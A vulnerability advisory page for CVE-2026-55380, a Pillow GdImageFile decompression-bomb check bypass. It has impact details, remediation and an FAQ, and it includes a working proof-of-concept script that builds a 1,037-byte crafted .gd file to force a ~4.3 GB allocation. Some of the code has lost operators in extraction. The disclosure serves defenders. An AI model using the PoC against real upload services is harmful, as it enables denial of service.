CVE-2026-55380: Pillow GdImageFile decompression bomb protection bypass

Published Jul 6, 2026
·
Updated

Description

PIL/GdImageFile.py GdImageFile.open() reads image dimensions from the GD 2.x header and stores them in self.size without calling Image.decompressionbombcheck(). Because GdImageFile is not registered with Image.registeropen(), it never passes through the standard Image.open() code path that enforces Pillow's decompression bomb guard. The plugin exposes its own entry point — PIL.GdImageFile.open(fp) — which directly instantiates the class, fully bypassing the documented protection.

Vulnerable code (PIL/GdImageFile.py lines 50–61):

python def open(self) -> None: s = self.fp.read(1037) if i16(s) not in [65534, 65535]: raise SyntaxError("Not a valid GD 2.x .gd file") self.mode = "P" self.size = i16(s, 2), i16(s, 4) # ← unsigned 16-bit; max 65535 each # NO decompressionbombcheck() call here ← ... self.tile = [ImageFile.Tile("raw", (0, 0) + self.size, 1037, "L")]

When load() is subsequently called on the returned image object:

python load() → loadprepare() → Image.core.new("P", (65535, 65535)) ↑ C-level allocation of 4,294,836,225 bytes ≈ 4.3 GB — no Python bomb check precedes this

Dimension arithmetic:

| Field | Value | |---|---| | Maximum width from header | 65,535 (unsigned 16-bit) | | Maximum height from header | 65,535 (unsigned 16-bit) | | Maximum pixel count | 65,535 × 65,535 = 4,294,836,225 | | DecompressionBombError threshold | 178,956,970 (2 × MAXIMAGEPIXELS) | | Overshoot ratio | 24× above DecompressionBombError threshold | | Memory at max dimensions | ≈ 4.3 GB (palette-mode: 1 byte/pixel) | | Minimum attack file size | 1,037 bytes (header only — no pixel data needed) |

Comparison with safe sibling plugin (WalImageFile):

WalImageFile is in the same category — not registered with Image.open(), loaded via its own open() helper. It was previously patched with the correct fix:

python PIL/WalImageFile.py line 46 — CORRECT pattern (already patched) self.size = i32(header, 32), i32(header, 36) Image.decompressionbombcheck(self.size) # ← present

GdImageFile was never updated to match, leaving a gap in protection.

Steps to reproduce

Proof of Concept script:

python #!/usr/bin/env python3 """ PoC: GdImageFile decompression bomb bypass 1037-byte crafted .gd file → 4.3 GB C-heap allocation, NO bomb check """ import io, struct from PIL import GdImageFile, Image

Build minimal 1037-byte GD 2.x palette-mode header: sig(2) + width(2) + height(2) + truecolor(1) + tindex(4) + colorsused(2) + palette(1024) sig = struct.pack(">H", 0xFFFE) # 65534 = GD 2.x magic w = struct.pack(">H", 65535) # max width h = struct.pack(">H", 65535) # max height truecolor = b"\x00" # 0 = palette mode tindex = struct.pack(">I", 0xFFFFFFFF) # > 255 = no transparency colorsused = b"\x00\x00" palettedata = b"\x00" 1024 header = sig + w + h + truecolor + tindex + colorsused + palettedata assert len(header) == 1037

Confirm: standard Image.open() path BLOCKS this size try: Image.decompressionbombcheck((65535, 65535)) except Image.DecompressionBombError as e: print(f"[BLOCKED] Image.open() path: {e}")

Vulnerable path: GdImageFile.open() has NO bomb check img = GdImageFile.open(io.BytesIO(header)) print(f"[BYPASS] GdImageFile.open() succeeded: size={img.size}, mode={img.mode}") print(f" No decompressionbombcheck called — 4.3 GB allocation not blocked")

Trigger loadprepare() → Image.core.new("P", (65535, 65535)) try: img.load() except OSError: print(f"[INFO] load() OSError (no pixel data) — but C-heap allocation already attempted")

print(f"\n[MATH] {65535 65535:,} pixels = {6553565535 / (Image.MAXIMAGEPIXELS2):.1f}× error threshold") print(f"[MATH] Attack file: 1,037 bytes only")

Expected output: [BLOCKED] Image.open() path: Image size (4294836225 pixels) exceeds limit of 178956970 pixels, could be decompression bomb DOS attack. [BYPASS] GdImageFile.open() succeeded: size=(65535, 65535), mode=P No decompressionbombcheck called — 4.3 GB allocation not blocked [INFO] load() OSError (no pixel data) — but C-heap allocation already attempted

[MATH] 4,294,836,225 pixels = 24.0× error threshold [MATH] Attack file: 1,037 bytes only

Verified live on Pillow 12.2.0.

Two attack paths:

| Path | File size | Effect | |---|---|---| | Transient (header only) | 1,037 bytes | loadprepare() attempts 4.3 GB C allocation → OSError after spike | | Persistent (full pixel data) | ~4.3 GB | load() completes, 4.3 GB stays in memory for object lifetime |

For the transient path, a 1,037-byte file is all that is needed. The attacker does not need to upload a large file.

Real-world scenario: python from PIL import GdImageFile

Application accepts user-uploaded .gd files img = GdImageFile.open(useruploadedfile) # succeeds — no bomb check img.load() # triggers 4.3 GB C-heap allocation

Impact

- Availability: HIGH — a single 1,037-byte malicious .gd file causes the host process to attempt a ~4.3 GB C-heap allocation. On systems with insufficient memory this crashes the process. Repeatable — attacker can loop requests to keep the server down. - Confidentiality: None - Integrity: None - Authentication required: No — any public endpoint accepting image uploads is affected - User interaction: None

Any service that calls PIL.GdImageFile.open(userfile) followed by .load() (or any lazy-load trigger) is vulnerable. Because the attack requires only a 1,037-byte file, network bandwidth is not a constraint.

Confirmed unpatched on python-pillow/Pillow main branch as of 2026-06-08.

Other sources

Pillow is a Python imaging library. Prior to 12.3.0, PIL/GdImageFile.py GdImageFile.open() read image dimensions from the GD 2.x header and stored them in self.size without calling Image.decompressionbombcheck(), allowing a crafted .gd file to trigger excessive C-heap allocation when loaded. This issue is fixed in version 12.3.0.

MITRE

Affected Software

3 affected componentsFixes available
Pillow Pillow<12.3.0
Python Pillow<12.3.0
pip/pillow<12.3.0
12.3.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/pillow to a version that resolves this vulnerability.

    Fixed in 12.3.0
  2. Upgrade

    Upgrade python-pillow/Pillow to a version that resolves this vulnerability.

    Fixed in 12.3.0

Event History

Jul 6, 2026
CVE Published
via MITRE·06:50 PM
Data Sourced
via MITRE·06:50 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·07:17 PM
RemedyDescriptionSeverityWeaknessAffected Software
Data Sourced
via Red Hat·08:02 PM
DescriptionSeverityAffected Software
Jul 20, 2026
Advisory Published
via GitHub·09:13 PM
Data Sourced
via GitHub·09:13 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-55380?

The severity of CVE-2026-55380 is rated high with a score of 7.5.

2

How do I fix CVE-2026-55380?

To fix CVE-2026-55380, update Pillow to version 12.3.0 or later.

3

What does CVE-2026-55380 affect?

CVE-2026-55380 affects the Pillow imaging library, specifically the GdImageFile module.

4

What is the main risk associated with CVE-2026-55380?

The main risk of CVE-2026-55380 is excessive C-heap allocation triggered by crafted .gd files.

5

Who is impacted by CVE-2026-55380?

Users and applications that utilize vulnerable versions of the Pillow library are impacted by CVE-2026-55380.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203